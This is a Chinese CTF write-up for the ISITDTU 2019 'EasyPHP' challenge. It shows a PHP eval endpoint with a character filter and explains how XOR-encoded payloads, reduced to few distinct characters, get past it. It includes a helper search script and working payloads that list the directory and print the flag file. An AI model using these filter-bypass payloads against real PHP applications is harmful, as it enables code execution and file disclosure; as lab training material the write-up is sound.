[ISITDTU 2019]EasyPHP
思路
题目给出源码
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
可以看到有两个过滤
一是要求不能有特定字符,推荐一个正则检验的网站:regex101: build, test, and debug regex
经测试,可以用:
()^~;
二是字符种类不能超过十三个,count_chars的mode3是数去重字符
解题
通过过滤的字符可以看到应该是取反或者异或绕过,同时要能够调整字符种类不能超限
参考文献:BUUCTF:[ISITDTU 2019]EasyPHP_buuctf [isitdtu 2019]easyphp-CSDN博客
从网上学了个很好的思路
我把方法和解题分开讲吧
如何执行命令
以phpinfo();为例,先转化为异或绕过的形式
phpinfo();
(%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();
// 注意与全1异或就是取反
由于字符类型小于13,可以直接传参执行
这里演示如何缩减字符种类
我们先把用到的字符拿出来
然后用三重异或去替换原来的字符,如果能替换,那么原来的字符就可以不要了,减少一类
<?php
$arr1 = ["%8F","%97","%96","%91","%99","%90","%FF"];
$arr2 = ["%8F","%97","%96","%91","%99","%90","%FF"];
$tmp = [];
foreach ($arr1 as $a) {
foreach ($arr2 as $b)
foreach ($arr2 as $c)
foreach ($arr2 as $d) {
if ((urldecode($b)^urldecode($c)^urldecode($d))==urldecode($a)) {
if ($a == $b && $b == $c && $c == $d)
continue;
else if ($a == $b || $b == $c || $c == $d)
continue;
else {
echo "a:$a, b:$b, c:$c, d:$d\n";
if (!in_array($a, $tmp))
$tmp[] = $a;
}
}
}
}
$len = count($tmp);
echo "len: $len";
其中,$arr1为我们用到的字符
我们在$arr2中找三个字符,看看异或结果是否为$arr1的字符
如果对于$arr1的每个字符,都可以用$arr2中的三个字符来异或得到,那么我们就称$arr2可以构成$arr1
我们先删除$arr2的第一个元素,运行看看长度是否与$arr1一致,若是不一致则退回删除。
依此测试第二个、第三个能不能删除,最终得到$arr2的精简版:
$arr2 = ["%8F","%96","%91","%99","%90","%FF"];
可以看到比$arr1少了一个元素”%97″,成功精简
为什么要用三个元素来替换一个呢?不能两个吗?这是由异或的性质决定的
我们知道两个相同的数异或为零:0^0=0, 1^1=0
而零异或任何数都会保持原样:0^1=1, 0^0=0
那么,我们其实可以省略多元异或中的相同的两个元,也可以添加两个相同的元
// 原始:
phpinfo();
// 异或:
(%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();
// 等值的异或:添加了两个%8F%97%8F%96%91%99%90
(%8F%97%8F%96%91%99%90^%8F%97%8F%96%91%99%90^%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();
我们可以在输出中找到%97的替换方案:

于是我们替换:

// 原始:
phpinfo();
// 异或:
(%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();
// 等值的异或:添加了两个%8F%97%8F%96%91%99%90
(%8F%97%8F%96%91%99%90^%8F%97%8F%96%91%99%90^%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();
// 替换前
(%8F%97%8F%96%91%99%90^%8F%97%8F%96%91%99%90^%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();
// 替换后
(%8F%96%8F%96%91%99%90^%8F%91%8F%96%91%99%90^%8F%90%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();
测试,可以使用

解题思路
先phpinfo看看disable_function,发现很多命令执行都被禁了
可以用scandir扫描一下目录,用print_r或者var_dump输出
print_r(scandir(.));
// 精简字符:
(%8D%8D%91%91%8C%A0%8D^%9C%8D%9C%91%9C%A0%8D^%9E%8D%9B%91%9B%A0%8D^%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%91%8D^%8C%9C%9E%91%9B%9C%8D^%8C%9C%9E%91%9B%9B%8D^%FF%FF%FF%FF%FF%FF%FF)(%FF^%D1));
Array ( [0] => . [1] => .. [2] => index.php [3] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )
那我们读一下这个n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt就行,可以用readfile或者show_source来读
如果直接把这个长长的文件名作为函数参数,恐怕字符类型太多了,因此可以用end()来获取数组的最后一个元素
show_source(end(scandir(.)));
// 精简字符:
(%8D%9C%9A%8D%A0%8D%9A%8D%8D%9C%9A^%9A%9A%91%9B%A0%9A%91%9C%8D%9C%9A^%9B%91%9B%9E%A0%9B%9B%9B%8D%9C%9A^%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF)((%9A%91%9B^%FF%FF%FF)((%8D%9C%9E%91%9B%91%8D^%9A%9C%9E%91%9B%9C%8D^%9B%9C%9E%91%9B%9B%8D^%FF%FF%FF%FF%FF%FF%FF)(%FF^%D1)));
flag{04f77e39-fb87-4e4e-8361-9dd7c72a277b}
附赠一个小工具
<?php
// 从字符串中获取所有的urlcode,去重放在一个数组中,格式%..
$my_used_sec = "(%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF)();";
// 正则匹配所有
$matches = [];
preg_match_all('/%[0-9a-fA-F]{2}/', $my_used_sec, $matches);
// 去重
$all_code = array_values(array_unique($matches[0]));
// 输出为["%..", "%.."]的格式
echo "[";
$first = false;
for ($i = 0; $i < count($all_code); $i++) {
if ($first) {
echo ",";
}
$first = true;
echo "\"$all_code[$i]\"";
}
echo "]\n";
可以在一行字符串中提取你用到的urlcode
修改$my_used_sec即可
注意
之前没有注意过这方面的细节,要多加练习了